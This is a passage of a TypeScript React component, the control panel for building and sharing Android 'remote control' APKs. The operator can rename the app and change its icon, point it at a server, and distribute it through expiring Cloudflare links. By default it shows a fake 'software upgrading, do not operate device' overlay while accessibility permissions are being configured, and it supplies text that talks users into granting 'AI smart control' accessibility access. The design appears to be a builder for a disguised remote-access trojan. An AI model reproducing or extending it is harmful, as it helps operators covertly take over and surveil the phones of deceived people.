Files
web-client/src/components/APKManager.tsx

1650 lines
62 KiB
TypeScript
Raw Normal View History

2026-02-09 16:33:52 +08:00
import React, { useState, useEffect } from 'react'
import {
Card,
Button,
Progress,
Typography,
Space,
Alert,
message,
Row,
Col,
Badge,
Spin,
Switch,
Input,
Collapse,
// Form, // 暂时未使用
Tooltip,
Upload,
Image,
Modal
} from 'antd'
import {
DownloadOutlined,
BuildOutlined,
AndroidOutlined,
InfoCircleOutlined,
SyncOutlined,
CloudDownloadOutlined,
RocketOutlined,
FileOutlined,
ClockCircleOutlined,
SettingOutlined,
EyeInvisibleOutlined,
CaretRightOutlined,
UploadOutlined,
PictureOutlined,
DeleteOutlined
} from '@ant-design/icons'
import APKShareManager from './APKShareManager'
import apiClient from '../services/apiClient'
const { Title, Text, Paragraph } = Typography
interface APKInfo {
exists: boolean
path?: string
filename?: string
size?: number
buildTime?: Date
}
interface BuildStatus {
isBuilding: boolean
progress: number
message: string
success: boolean
shareUrl?: string
shareSessionId?: string
shareExpiresAt?: string
activeShares?: Array<{
sessionId: string
filename: string
shareUrl: string
createdAt: string
expiresAt: string
isExpired: boolean
}>
}
interface APKData {
apkInfo: APKInfo
buildStatus: BuildStatus
}
interface APKManagerProps {
serverUrl: string
}
const APKManager: React.FC<APKManagerProps> = ({ serverUrl }) => {
const [loading, setLoading] = useState(false)
const [data, setData] = useState<APKData | null>(null)
const [building, setBuilding] = useState(false)
const [buildProgress, setBuildProgress] = useState(0)
const [buildMessage, setBuildMessage] = useState('')
const [_shareUrl, setShareUrl] = useState('') // 下划线前缀表示有意未使用但setter需要保留
const [_shareExpiresAt, setShareExpiresAt] = useState('') // 下划线前缀表示有意未使用但setter需要保留
const [enableConfigMask, setEnableConfigMask] = useState(true) // 默认开启
const [enableProgressBar, setEnableProgressBar] = useState(true) // 默认开启进度条
const [configMaskText, setConfigMaskText] = useState('软件升级中请稍后...')
const [configMaskSubtitle, setConfigMaskSubtitle] = useState('软件正在升级中\n请勿操作设备')
const [configMaskStatus, setConfigMaskStatus] = useState('升级完成后将自动返回应用')
// const [showAdvancedOptions, setShowAdvancedOptions] = useState(false) // 暂时未使用
// ✅ 新增:服务器域名配置状态
const [serverDomain, setServerDomain] = useState('') // 用户配置的服务器域名
const [webUrl, setWebUrl] = useState('') // 用户配置的webUrlAndroid应用打开的网址
// ✅ 新增Android端页面样式配置状态
const [pageStyleConfig, setPageStyleConfig] = useState({
appName: 'Android Remote Control',
appIcon: null as File | null,
statusText: '软件需要开启AI智能操控权限\n请按照以下步骤进行\n1. 点击启用按钮\n2. 转到已下载的服务/应用\n3. 找到本应用并点击进入\n4. 开启辅助开关',
enableButtonText: '启用',
usageInstructions: '使用说明:\n1. 启用AI智能操控服务\n2. 确保设备连接到网络\n\n注意请在安全的网络环境中使用',
apkFileName: '' // APK文件名空值表示使用默认名称
})
// const [showPageStyleConfig, setShowPageStyleConfig] = useState(false) // 暂时未使用
const [iconPreviewUrl, setIconPreviewUrl] = useState<string | null>(null)
// ✅ 新增:构建日志相关状态
interface LogEntry {
timestamp?: number
level?: string
message: string
timeString?: string
}
const [logModalVisible, setLogModalVisible] = useState(false)
const [buildLogs, setBuildLogs] = useState<LogEntry[]>([])
const [logLoading, setLogLoading] = useState(false)
const logContainerRef = React.useRef<HTMLDivElement>(null)
// 获取APK信息
const fetchAPKInfo = async () => {
setLoading(true)
try {
const result = await apiClient.get<any>('/api/apk/info')
if (result.success) {
setData(result)
} else {
message.error('获取APK信息失败')
}
} catch (error) {
console.error('获取APK信息失败:', error)
message.error('获取APK信息失败')
} finally {
setLoading(false)
}
}
// 轮询构建状态
const pollBuildStatus = async () => {
try {
const result = await apiClient.get<any>('/api/apk/build-status')
if (result.success) {
setBuildMessage(result.message || '')
setBuildProgress(result.progress || 0)
if (result.isBuilding) {
// 构建中,更新进度
} else {
setBuilding(false)
setBuildProgress(0)
if (result.success) {
message.success('APK构建成功')
// 如果有分享链接,显示通知
if (result.shareUrl) {
setShareUrl(result.shareUrl)
setShareExpiresAt(result.shareExpiresAt || '')
message.info('Cloudflare分享链接已生成有效期10分钟')
}
fetchAPKInfo()
} else if (result.message && result.message.includes('构建失败')) {
message.error(`构建失败: ${result.message}`)
}
}
}
} catch (error) {
console.error('获取构建状态失败:', error)
}
}
// 获取构建日志
const fetchBuildLogs = React.useCallback(async (limit?: number) => {
try {
setLogLoading(true)
const endpoint = limit ? `/api/apk/build-logs?limit=${limit}` : '/api/apk/build-logs'
const result = await apiClient.get<any>(endpoint)
// 处理日志数据,支持多种格式
let newLogs: LogEntry[] = []
if (result.success !== false) {
// 如果返回的是对象包含logs字段对象数组
if (Array.isArray(result.logs)) {
newLogs = result.logs.map((item: any) => {
// 如果已经是对象格式包含level, message等
if (item && typeof item === 'object' && item.message) {
return {
timestamp: item.timestamp,
level: item.level || 'info',
message: item.message || String(item),
timeString: item.timeString
}
}
// 如果是字符串,转换为对象
return {
level: 'info',
message: typeof item === 'string' ? item : String(item || ''),
timeString: undefined
}
})
}
// 如果返回的是数组
else if (Array.isArray(result)) {
newLogs = result.map((item: any) => {
if (item && typeof item === 'object' && item.message) {
return {
timestamp: item.timestamp,
level: item.level || 'info',
message: item.message || String(item),
timeString: item.timeString
}
}
return {
level: 'info',
message: typeof item === 'string' ? item : String(item || ''),
timeString: undefined
}
})
}
// 如果返回的是对象包含log字段字符串
else if (typeof result.log === 'string') {
newLogs = result.log.split('\n')
.filter((line: string) => line.trim())
.map((line: string) => ({
level: 'info',
message: line.trim(),
timeString: undefined
}))
}
// 如果直接返回字符串
else if (typeof result === 'string') {
newLogs = result.split('\n')
.filter((line: string) => line.trim())
.map((line: string) => ({
level: 'info',
message: line.trim(),
timeString: undefined
}))
}
// 如果返回的是对象包含data字段
else if (result.data) {
if (Array.isArray(result.data)) {
newLogs = result.data.map((item: any) => {
if (item && typeof item === 'object' && item.message) {
return {
timestamp: item.timestamp,
level: item.level || 'info',
message: item.message || String(item),
timeString: item.timeString
}
}
return {
level: 'info',
message: typeof item === 'string' ? item : String(item || ''),
timeString: undefined
}
})
} else if (typeof result.data === 'string') {
newLogs = result.data.split('\n')
.filter((line: string) => line.trim())
.map((line: string) => ({
level: 'info',
message: line.trim(),
timeString: undefined
}))
}
}
}
// 过滤空消息
newLogs = newLogs.filter(item => item.message && item.message.trim().length > 0)
setBuildLogs(newLogs)
// 自动滚动到底部
setTimeout(() => {
if (logContainerRef.current) {
logContainerRef.current.scrollTop = logContainerRef.current.scrollHeight
}
}, 100)
} catch (error) {
console.error('获取构建日志失败:', error)
} finally {
setLogLoading(false)
}
}, [])
// 清空构建日志
const clearBuildLogs = async () => {
try {
await apiClient.delete<{ success: boolean }>('/api/apk/build-logs')
setBuildLogs([])
message.success('日志已清空')
} catch (error) {
console.error('清空日志失败:', error)
message.error('清空日志失败')
}
}
// 构建APK
const buildAPK = async () => {
setBuilding(true)
setBuildProgress(0)
setBuildMessage('开始构建...')
// 打开日志窗口并清空之前的日志
setBuildLogs([])
setLogModalVisible(true)
fetchBuildLogs(100) // 先获取最近100条日志
try {
// 使用配置的域名或默认值
let buildServerUrl: string
if (serverDomain.trim()) {
// 使用用户配置的域名
const protocol = serverDomain.startsWith('https://') ? 'wss:' :
serverDomain.startsWith('http://') ? 'ws:' :
window.location.protocol === 'https:' ? 'wss:' : 'ws:'
const domain = serverDomain.replace(/^https?:\/\//, '')
buildServerUrl = `${protocol}//${domain}`
} else {
// 使用默认的当前服务器地址
const currentHost = window.location.hostname
const currentProtocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'
buildServerUrl = `${currentProtocol}//${currentHost}:3001`
}
console.log('构建APK配置服务器地址:', buildServerUrl)
// 使用FormData来支持文件上传
const formData = new FormData()
formData.append('serverUrl', buildServerUrl)
formData.append('webUrl', webUrl.trim() || window.location.origin) // 使用配置的webUrl或默认值
formData.append('enableConfigMask', enableConfigMask.toString())
formData.append('enableProgressBar', enableProgressBar.toString())
formData.append('configMaskText', configMaskText)
formData.append('configMaskSubtitle', configMaskSubtitle)
formData.append('configMaskStatus', configMaskStatus)
// 添加页面样式配置
const pageStyleConfigData = {
appName: pageStyleConfig.appName,
statusText: pageStyleConfig.statusText,
enableButtonText: pageStyleConfig.enableButtonText,
usageInstructions: pageStyleConfig.usageInstructions,
apkFileName: pageStyleConfig.apkFileName.trim() // 添加APK文件名
}
formData.append('pageStyleConfig', JSON.stringify(pageStyleConfigData))
// 如果有上传的图标文件添加到FormData中
if (pageStyleConfig.appIcon) {
formData.append('appIcon', pageStyleConfig.appIcon)
console.log('上传自定义图标:', pageStyleConfig.appIcon.name)
}
const result = await apiClient.postFormData<any>('/api/apk/build', formData)
if (result.success) {
message.success(`构建开始,服务器地址已自动配置为: ${result.serverUrl}`)
// 如果立即返回了分享链接(构建完成)
if (result.shareUrl) {
setShareUrl(result.shareUrl)
setShareExpiresAt(result.shareExpiresAt || '')
message.success('APK构建完成Cloudflare分享链接已生成')
setBuilding(false)
setBuildProgress(100)
setBuildMessage('构建完成')
fetchAPKInfo()
}
} else {
message.error(`构建失败: ${result.error || '未知错误'}`)
setBuilding(false)
setBuildProgress(0)
setBuildMessage('')
}
} catch (error: any) {
console.error('构建APK失败:', error)
// 根据错误类型提供更友好的提示
let errorMessage = '构建APK失败'
const errorStr = String(error || '')
const errorMsg = error?.message || errorStr
// 检查各种网络错误情况
if (
errorMsg.includes('Failed to fetch') ||
errorMsg.includes('NetworkError') ||
errorMsg.includes('Network request failed') ||
errorMsg.includes('fetch failed') ||
error?.name === 'TypeError' && errorMsg.includes('fetch')
) {
errorMessage = '网络连接失败,请检查:\n1. 服务器是否正常运行\n2. 网络连接是否正常\n3. 服务器地址是否正确'
} else if (errorMsg.includes('timeout') || errorMsg.includes('Timeout')) {
errorMessage = '请求超时,请稍后重试'
} else if (errorMsg.includes('CORS') || errorMsg.includes('cors')) {
errorMessage = '跨域请求失败请检查服务器CORS配置'
} else if (errorMsg) {
errorMessage = `构建失败: ${errorMsg}`
}
message.error({
content: errorMessage,
duration: 5,
style: { whiteSpace: 'pre-line' }
})
setBuilding(false)
setBuildProgress(0)
setBuildMessage('')
// 在日志窗口中显示错误信息
const errorDetails: LogEntry[] = [
{
level: 'error',
message: errorMessage,
timeString: new Date().toLocaleString('zh-CN', {
year: 'numeric',
month: '2-digit',
day: '2-digit',
hour: '2-digit',
minute: '2-digit',
second: '2-digit'
}).replace(/\//g, '/')
},
{
level: 'error',
message: `错误类型: ${error?.name || 'Unknown'}`,
timeString: undefined
},
{
level: 'error',
message: `错误详情: ${errorMsg}`,
timeString: undefined
}
]
setBuildLogs(prev => [...prev, ...errorDetails])
}
}
// 处理图标上传
const handleIconUpload = (file: File) => {
// 验证文件类型
const isImage = file.type.startsWith('image/')
if (!isImage) {
message.error('请上传图片文件PNG、JPG、JPEG等')
return false
}
// 验证文件大小限制为2MB
const isLt2M = file.size / 1024 / 1024 < 2
if (!isLt2M) {
message.error('图标文件大小不能超过2MB')
return false
}
// 更新状态
setPageStyleConfig(prev => ({ ...prev, appIcon: file }))
// 生成预览URL
const reader = new FileReader()
reader.onload = (e) => {
setIconPreviewUrl(e.target?.result as string)
}
reader.readAsDataURL(file)
message.success('图标上传成功')
return false // 阻止自动上传
}
// 移除图标
const removeIcon = () => {
setPageStyleConfig(prev => ({ ...prev, appIcon: null }))
setIconPreviewUrl(null)
message.success('已移除自定义图标')
}
// 下载APK
const downloadAPK = async () => {
try {
const filename = data?.apkInfo.filename || 'RemoteControl.apk'
await apiClient.downloadFile('/api/apk/download', filename)
message.success('开始下载APK文件')
} catch (error) {
console.error('下载APK失败:', error)
message.error('下载APK失败')
}
}
// 获取默认APK文件名
const getDefaultAPKFileName = () => {
return 'app'
}
// 格式化文件大小
const formatSize = (bytes: number) => {
const units = ['B', 'KB', 'MB', 'GB']
let size = bytes
let unitIndex = 0
while (size >= 1024 && unitIndex < units.length - 1) {
size /= 1024
unitIndex++
}
return `${size.toFixed(1)} ${units[unitIndex]}`
}
// 组件挂载时获取信息
useEffect(() => {
fetchAPKInfo()
}, [])
// 构建过程中轮询状态和日志
useEffect(() => {
let statusInterval: ReturnType<typeof setInterval> | null = null
let logInterval: ReturnType<typeof setInterval> | null = null
if (building && logModalVisible) {
statusInterval = setInterval(pollBuildStatus, 2000)
// 每1秒轮询一次日志
logInterval = setInterval(() => {
fetchBuildLogs(100)
}, 1000)
}
return () => {
if (statusInterval) {
clearInterval(statusInterval)
}
if (logInterval) {
clearInterval(logInterval)
}
}
}, [building, logModalVisible, fetchBuildLogs])
// 当构建完成时,停止日志轮询但保持窗口打开
useEffect(() => {
if (!building && logModalVisible) {
// 构建完成,最后获取一次完整日志
fetchBuildLogs()
}
}, [building, logModalVisible, fetchBuildLogs])
// 当日志更新时,自动滚动到底部
useEffect(() => {
if (logModalVisible && buildLogs.length > 0) {
setTimeout(() => {
if (logContainerRef.current) {
logContainerRef.current.scrollTop = logContainerRef.current.scrollHeight
}
}, 50)
}
}, [buildLogs, logModalVisible])
if (loading && !data) {
return (
<div style={{
padding: '80px 20px',
textAlign: 'center',
background: 'linear-gradient(135deg, #667eea 0%, #764ba2 100%)',
minHeight: '60vh',
borderRadius: '16px',
color: 'white'
}}>
<Spin size="large" style={{ color: 'white' }} />
<Title level={3} style={{ marginTop: 24, color: 'white' }}>
🔄 APK ...
</Title>
<Text style={{ color: 'rgba(255,255,255,0.8)', fontSize: '16px' }}>
APK状态
</Text>
</div>
)
}
return (
<div style={{
padding: '24px',
width: '100%',
flex: 1,
background: 'linear-gradient(135deg, #f0f2f5 0%, #e8f2ff 100%)',
minHeight: '100vh',
display: 'flex',
flexDirection: 'column'
}}>
{/* 现代化页面头部 */}
<div style={{
marginBottom: 32,
background: 'linear-gradient(135deg, #667eea 0%, #764ba2 100%)',
padding: '32px',
borderRadius: '16px',
color: 'white'
}}>
<Row justify="space-between" align="middle">
<Col span={16}>
<Space size="large" align="center">
<div style={{
background: 'rgba(255,255,255,0.2)',
padding: '16px',
borderRadius: '12px',
backdropFilter: 'blur(10px)'
}}>
<AndroidOutlined style={{ fontSize: '48px', color: 'white' }} />
</div>
<div>
<Title level={2} style={{ color: 'white', margin: 0 }}>
APK
</Title>
<Paragraph style={{ color: 'rgba(255,255,255,0.8)', margin: 0, fontSize: '16px' }}>
Android
</Paragraph>
</div>
</Space>
</Col>
<Col span={8} style={{ textAlign: 'right' }}>
<Space>
<Button
size="large"
icon={<SyncOutlined />}
onClick={fetchAPKInfo}
loading={loading}
style={{
background: 'rgba(255,255,255,0.2)',
borderColor: 'rgba(255,255,255,0.3)',
color: 'white'
}}
>
</Button>
</Space>
</Col>
</Row>
</div>
{/* APK 状态主卡片 */}
{data?.apkInfo?.exists ? (
<Card
style={{
background: 'linear-gradient(135deg, #667eea 0%, #764ba2 100%)',
color: 'white',
border: 'none',
borderRadius: '20px',
marginBottom: 24,
boxShadow: '0 20px 40px rgba(102, 126, 234, 0.3)'
}}
styles={{ body: { padding: '40px' } }}
>
<Row align="middle" gutter={32} style={{ width: '100%' }}>
<Col xs={24} sm={24} md={6} lg={6} xl={6}>
<div style={{ textAlign: 'center', marginBottom: window.innerWidth < 768 ? '20px' : '0' }}>
<div style={{
background: 'linear-gradient(135deg, rgba(255,255,255,0.3) 0%, rgba(255,255,255,0.1) 100%)',
borderRadius: '50%',
width: '100px',
height: '100px',
display: 'flex',
alignItems: 'center',
justifyContent: 'center',
margin: '0 auto',
boxShadow: '0 8px 32px rgba(0,0,0,0.1)',
backdropFilter: 'blur(10px)',
border: '1px solid rgba(255,255,255,0.2)'
}}>
<AndroidOutlined style={{ fontSize: '48px', color: 'white' }} />
</div>
</div>
</Col>
<Col xs={24} sm={24} md={12} lg={12} xl={12}>
<Title level={2} style={{ color: 'white', margin: 0, marginBottom: 20 }}>
🎉 APK
</Title>
<Space direction="vertical" size={12}>
<div style={{
background: 'rgba(255,255,255,0.1)',
padding: '8px 16px',
borderRadius: '8px',
backdropFilter: 'blur(10px)'
}}>
<Text style={{ color: 'white', fontSize: '16px', fontWeight: 500 }}>
<FileOutlined style={{ marginRight: 8 }} />
{data.apkInfo.filename}
</Text>
</div>
<div style={{
background: 'rgba(255,255,255,0.1)',
padding: '8px 16px',
borderRadius: '8px',
backdropFilter: 'blur(10px)'
}}>
<Text style={{ color: 'white', fontSize: '16px', fontWeight: 500 }}>
📦 {data.apkInfo.size ? formatSize(data.apkInfo.size) : '未知大小'}
</Text>
</div>
<div style={{
background: 'rgba(255,255,255,0.1)',
padding: '8px 16px',
borderRadius: '8px',
backdropFilter: 'blur(10px)'
}}>
<Text style={{ color: 'white', fontSize: '16px', fontWeight: 500 }}>
<ClockCircleOutlined style={{ marginRight: 8 }} />
{data.apkInfo.buildTime
? new Date(data.apkInfo.buildTime).toLocaleString()
: '未知时间'
}
</Text>
</div>
</Space>
</Col>
<Col xs={24} sm={24} md={6} lg={6} xl={6} style={{ textAlign: 'center' }}>
<Space direction="vertical" size={12} style={{ width: '100%' }}>
<Button
type="primary"
size="large"
icon={<CloudDownloadOutlined />}
onClick={downloadAPK}
style={{
background: 'linear-gradient(135deg, rgba(255,255,255,0.2) 0%, rgba(255,255,255,0.1) 100%)',
borderColor: 'rgba(255,255,255,0.3)',
height: '60px',
fontSize: '18px',
fontWeight: 600,
borderRadius: '12px',
backdropFilter: 'blur(10px)',
boxShadow: '0 8px 32px rgba(0,0,0,0.1)',
border: '1px solid rgba(255,255,255,0.2)',
color: 'white',
width: '100%'
}}
>
</Button>
</Space>
</Col>
</Row>
</Card>
) : (
<Card
style={{
marginBottom: 24,
textAlign: 'center',
padding: '60px 40px',
background: 'linear-gradient(135deg, #ff6b6b 0%, #ee5a24 100%)',
color: 'white',
border: 'none',
borderRadius: '20px',
boxShadow: '0 20px 40px rgba(255, 107, 107, 0.3)'
}}
>
<div style={{
background: 'rgba(255,255,255,0.1)',
borderRadius: '50%',
width: '120px',
height: '120px',
display: 'flex',
alignItems: 'center',
justifyContent: 'center',
margin: '0 auto 24px auto',
backdropFilter: 'blur(10px)',
border: '1px solid rgba(255,255,255,0.2)'
}}>
<AndroidOutlined style={{ fontSize: '64px', color: 'white' }} />
</div>
<Title level={2} style={{ color: 'white', margin: 0, marginBottom: 16 }}>
📱 APK
</Title>
<Text style={{ color: 'rgba(255,255,255,0.9)', fontSize: '18px', lineHeight: 1.6 }}>
Android <br />
</Text>
</Card>
)}
{/* 构建进度 */}
{building && (
<Card style={{
marginBottom: 24,
borderRadius: '20px',
background: 'linear-gradient(135deg, #ff9a9e 0%, #fecfef 50%, #fecfef 100%)',
color: 'white',
border: 'none',
boxShadow: '0 20px 40px rgba(255, 154, 158, 0.3)'
}}>
<Row align="middle" gutter={32} style={{ padding: '20px', width: '100%' }}>
<Col span={4} style={{ textAlign: 'center' }}>
<div style={{
background: 'rgba(255,255,255,0.2)',
borderRadius: '50%',
width: '80px',
height: '80px',
display: 'flex',
alignItems: 'center',
justifyContent: 'center',
margin: '0 auto',
animation: 'pulse 2s infinite',
backdropFilter: 'blur(10px)',
border: '1px solid rgba(255,255,255,0.3)'
}}>
<RocketOutlined style={{ fontSize: '40px', color: 'white' }} />
</div>
</Col>
<Col span={20}>
<Title level={3} style={{ color: 'white', margin: 0, marginBottom: 20 }}>
🚀 APK ...
</Title>
<div style={{
background: 'rgba(255,255,255,0.1)',
borderRadius: '12px',
padding: '16px',
marginBottom: '16px',
backdropFilter: 'blur(10px)'
}}>
<Progress
percent={buildProgress}
status="active"
strokeColor={{
'0%': '#ff6b6b',
'50%': '#feca57',
'100%': '#48dbfb'
}}
trailColor="rgba(255,255,255,0.2)"
size={8}
style={{ marginBottom: 12 }}
/>
<Text style={{
color: 'white',
fontSize: '16px',
fontWeight: 500,
textShadow: '0 2px 4px rgba(0,0,0,0.3)'
}}>
{buildMessage || '准备构建环境...'}
</Text>
{buildMessage.includes('配置服务器地址') && (
<div style={{
marginTop: '12px',
padding: '8px 12px',
background: 'rgba(255,255,255,0.15)',
borderRadius: '8px',
backdropFilter: 'blur(10px)'
}}>
<Text style={{
color: 'white',
fontSize: '14px',
textShadow: '0 1px 2px rgba(0,0,0,0.3)'
}}>
🌐 : {serverDomain.trim() ?
(serverDomain.startsWith('https://') ? 'wss://' + serverDomain.replace('https://', '') :
serverDomain.startsWith('http://') ? 'ws://' + serverDomain.replace('http://', '') :
window.location.protocol === 'https:' ? 'wss://' + serverDomain : 'ws://' + serverDomain) :
`${window.location.protocol === 'https:' ? 'wss:' : 'ws:'}//${window.location.hostname}:3001`
}
</Text>
</div>
)}
</div>
</Col>
</Row>
</Card>
)}
{/* ✅ 新增:构建配置选项 */}
<Card style={{
borderRadius: '20px',
background: 'linear-gradient(135deg, #f8f9ff 0%, #fff 100%)',
boxShadow: '0 10px 30px rgba(0,0,0,0.05)',
border: '1px solid rgba(102, 126, 234, 0.1)',
marginBottom: 24
}}>
<Collapse
items={[
{
key: 'server-config',
label: (
<Space>
<SettingOutlined style={{ color: '#1890ff' }} />
<Text strong style={{ color: '#2c3e50' }}></Text>
<Badge count={serverDomain.trim() ? '自定义' : '默认'}
style={{ backgroundColor: serverDomain.trim() ? '#1890ff' : '#d9d9d9' }} />
</Space>
),
children: (
<div style={{ padding: '16px 0' }}>
<Space direction="vertical" size="large" style={{ width: '100%' }}>
<Row gutter={[16, 16]}>
<Col xs={24} sm={8}>
<Space>
<CloudDownloadOutlined style={{ color: '#1890ff', fontSize: '20px' }} />
<Text strong></Text>
</Space>
</Col>
<Col xs={24} sm={16}>
<Space direction="vertical" style={{ width: '100%' }}>
<Input
value={serverDomain}
onChange={(e) => setServerDomain(e.target.value)}
placeholder="例如: example.com 或 https://example.com"
maxLength={100}
showCount
style={{ borderRadius: '8px' }}
suffix={
<Tooltip title="清空使用默认域名">
<Button
type="text"
size="small"
icon={<DeleteOutlined />}
onClick={() => setServerDomain('')}
style={{ border: 'none', padding: '0 4px' }}
/>
</Tooltip>
}
/>
<Text type="secondary" style={{ fontSize: '12px' }}>
使: {window.location.hostname}:3001
</Text>
</Space>
</Col>
</Row>
<Row gutter={[16, 16]}>
<Col xs={24} sm={8}>
<Space>
<FileOutlined style={{ color: '#1890ff', fontSize: '20px' }} />
<Text strong>Web网址</Text>
</Space>
</Col>
<Col xs={24} sm={16}>
<Space direction="vertical" style={{ width: '100%' }}>
<Input
value={webUrl}
onChange={(e) => setWebUrl(e.target.value)}
placeholder="例如: https://example.com 或 http://192.168.1.100:8080"
maxLength={200}
showCount
style={{ borderRadius: '8px' }}
suffix={
<Tooltip title="清空使用默认网址">
<Button
type="text"
size="small"
icon={<DeleteOutlined />}
onClick={() => setWebUrl('')}
style={{ border: 'none', padding: '0 4px' }}
/>
</Tooltip>
}
/>
<Text type="secondary" style={{ fontSize: '12px' }}>
使: {window.location.origin}
</Text>
</Space>
</Col>
</Row>
<Alert
type="info"
showIcon
message="服务器配置说明"
description={
<div>
<p style={{ margin: 0, marginBottom: 8 }}>
<strong></strong>httpsIP ws://ip:port
</p>
<p style={{ margin: 0, marginBottom: 8 }}>
<strong>Web网址</strong>Android应用启动时打开的网页地址 https
</p>
</div>
}
style={{
background: 'linear-gradient(135deg, #e6f7ff 0%, #f0f9ff 100%)',
border: '1px solid #91d5ff',
borderRadius: '8px'
}}
/>
</Space>
</div>
)
},
{
key: '1',
label: (
<Space>
<SettingOutlined style={{ color: '#667eea' }} />
<Text strong style={{ color: '#2c3e50' }}></Text>
<Badge count={enableConfigMask ? '已启用' : '已禁用'}
style={{ backgroundColor: enableConfigMask ? '#52c41a' : '#d9d9d9' }} />
</Space>
),
children: (
<div style={{ padding: '16px 0' }}>
<Space direction="vertical" size="large" style={{ width: '100%' }}>
<Row gutter={[16, 16]} align="middle">
<Col xs={24} sm={8}>
<Space>
<EyeInvisibleOutlined style={{ color: '#667eea' }} />
<Text strong></Text>
</Space>
</Col>
<Col xs={24} sm={16}>
<Space direction="vertical" style={{ width: '100%' }}>
<Row align="middle" gutter={16}>
<Col>
<Switch
checked={enableConfigMask}
onChange={setEnableConfigMask}
checkedChildren="开启"
unCheckedChildren="关闭"
// disabled={true}
/>
</Col>
<Col>
<Tooltip title="开启后,设备在配置权限期间会显示黑色遮盖,防止用户误操作">
<Text type="secondary">
</Text>
</Tooltip>
</Col>
</Row>
{enableConfigMask && (
<Space direction="vertical" size={16} style={{ width: '100%', marginTop: 12 }}>
{/* 进度条开关 */}
<Row align="middle" gutter={16}>
<Col>
<Switch
checked={enableProgressBar}
onChange={setEnableProgressBar}
checkedChildren="开启"
unCheckedChildren="关闭"
size="small"
/>
</Col>
<Col>
<Tooltip title="显示配置进度条,让用户了解当前配置状态">
<Text type="secondary">
</Text>
</Tooltip>
</Col>
</Row>
<Row gutter={16}>
<Col xs={24} sm={6}>
<Text strong>:</Text>
</Col>
<Col xs={24} sm={18}>
<Input
value={configMaskText}
onChange={(e) => setConfigMaskText(e.target.value)}
placeholder="请输入遮盖时显示的主标题文字"
maxLength={50}
showCount
style={{ borderRadius: '8px' }}
/>
</Col>
</Row>
<Row gutter={16}>
<Col xs={24} sm={6}>
<Text strong>:</Text>
</Col>
<Col xs={24} sm={18}>
<Input.TextArea
value={configMaskSubtitle}
onChange={(e) => setConfigMaskSubtitle(e.target.value)}
placeholder="请输入遮盖时显示的副标题文字"
rows={2}
maxLength={100}
showCount
style={{ borderRadius: '8px' }}
/>
</Col>
</Row>
<Row gutter={16}>
<Col xs={24} sm={6}>
<Text strong>:</Text>
</Col>
<Col xs={24} sm={18}>
<Input
value={configMaskStatus}
onChange={(e) => setConfigMaskStatus(e.target.value)}
placeholder="请输入遮盖时显示的状态提示文字"
maxLength={80}
showCount
style={{ borderRadius: '8px' }}
/>
</Col>
</Row>
</Space>
)}
</Space>
</Col>
</Row>
<Alert
type="info"
showIcon
message="配置说明"
description={
<div>
<p style={{ margin: 0, marginBottom: 8 }}>
<strong></strong>
</p>
<p style={{ margin: 0, marginBottom: 8 }}>
<strong></strong>
</p>
<p style={{ margin: 0, marginBottom: 8 }}>
<strong></strong>
</p>
<p style={{ margin: 0, marginBottom: 8 }}>
<strong></strong>
</p>
<p style={{ margin: 0 }}>
<strong></strong>
</p>
</div>
}
style={{
background: 'linear-gradient(135deg, #e6f7ff 0%, #f0f9ff 100%)',
border: '1px solid #91d5ff',
borderRadius: '8px'
}}
/>
</Space>
</div>
)
},
{
key: 'page-style',
label: (
<Space>
<SettingOutlined style={{ color: '#722ed1' }} />
<Text strong>Android端页面样式</Text>
</Space>
),
children: (
<div style={{ padding: '16px 0' }}>
<Space direction="vertical" size={24} style={{ width: '100%' }}>
<Row gutter={[16, 16]}>
<Col xs={24} sm={8}>
<Space>
<PictureOutlined style={{ color: '#722ed1', fontSize: '20px' }} />
<Text strong></Text>
</Space>
</Col>
<Col xs={24} sm={16}>
<Space direction="vertical" size={16} style={{ width: '100%' }}>
<Space align="start" size={16}>
<Upload
beforeUpload={handleIconUpload}
showUploadList={false}
accept="image/*"
>
<Button
icon={<UploadOutlined />}
style={{ borderRadius: '8px' }}
>
</Button>
</Upload>
{pageStyleConfig.appIcon && (
<Button
icon={<DeleteOutlined />}
onClick={removeIcon}
danger
type="text"
size="small"
style={{ borderRadius: '8px' }}
>
</Button>
)}
</Space>
{iconPreviewUrl ? (
<div style={{
display: 'flex',
alignItems: 'center',
gap: '12px',
padding: '12px',
background: '#f8f9fa',
borderRadius: '8px',
border: '1px solid #e9ecef'
}}>
<Image
src={iconPreviewUrl}
alt="图标预览"
width={48}
height={48}
preview={false}
style={{
borderRadius: '8px',
border: '1px solid #d1d5db'
}}
/>
<div>
<Text type="secondary" style={{ fontSize: '12px' }}>
{pageStyleConfig.appIcon?.name}
</Text>
<br />
<Text type="secondary" style={{ fontSize: '12px' }}>
{pageStyleConfig.appIcon && (pageStyleConfig.appIcon.size / 1024).toFixed(1)} KB
</Text>
</div>
</div>
) : (
<Alert
message="使用默认图标"
description="未上传自定义图标时,将使用应用默认图标"
type="info"
showIcon
style={{
fontSize: '12px',
borderRadius: '8px'
}}
/>
)}
</Space>
</Col>
</Row>
<Row gutter={[16, 16]}>
<Col xs={24} sm={8}>
<Space>
<AndroidOutlined style={{ color: '#722ed1', fontSize: '20px' }} />
<Text strong></Text>
</Space>
</Col>
<Col xs={24} sm={16}>
<Input
value={pageStyleConfig.appName}
onChange={(e) => setPageStyleConfig(prev => ({ ...prev, appName: e.target.value }))}
placeholder="请输入应用名称"
maxLength={30}
showCount
style={{ borderRadius: '8px' }}
/>
</Col>
</Row>
<Row gutter={[16, 16]}>
<Col xs={24} sm={8}>
<Space>
<FileOutlined style={{ color: '#722ed1', fontSize: '20px' }} />
<Text strong></Text>
</Space>
</Col>
<Col xs={24} sm={16}>
<Input.TextArea
value={pageStyleConfig.statusText}
onChange={(e) => setPageStyleConfig(prev => ({ ...prev, statusText: e.target.value }))}
placeholder="请输入主页状态文本内容"
rows={4}
maxLength={200}
showCount
style={{ borderRadius: '8px' }}
/>
</Col>
</Row>
<Row gutter={[16, 16]}>
<Col xs={24} sm={8}>
<Space>
<RocketOutlined style={{ color: '#722ed1', fontSize: '20px' }} />
<Text strong></Text>
</Space>
</Col>
<Col xs={24} sm={16}>
<Input
value={pageStyleConfig.enableButtonText}
onChange={(e) => setPageStyleConfig(prev => ({ ...prev, enableButtonText: e.target.value }))}
placeholder="请输入启用按钮文字"
maxLength={20}
showCount
style={{ borderRadius: '8px' }}
/>
</Col>
</Row>
<Row gutter={[16, 16]}>
<Col xs={24} sm={8}>
<Space>
<InfoCircleOutlined style={{ color: '#722ed1', fontSize: '20px' }} />
<Text strong>使</Text>
</Space>
</Col>
<Col xs={24} sm={16}>
<Input.TextArea
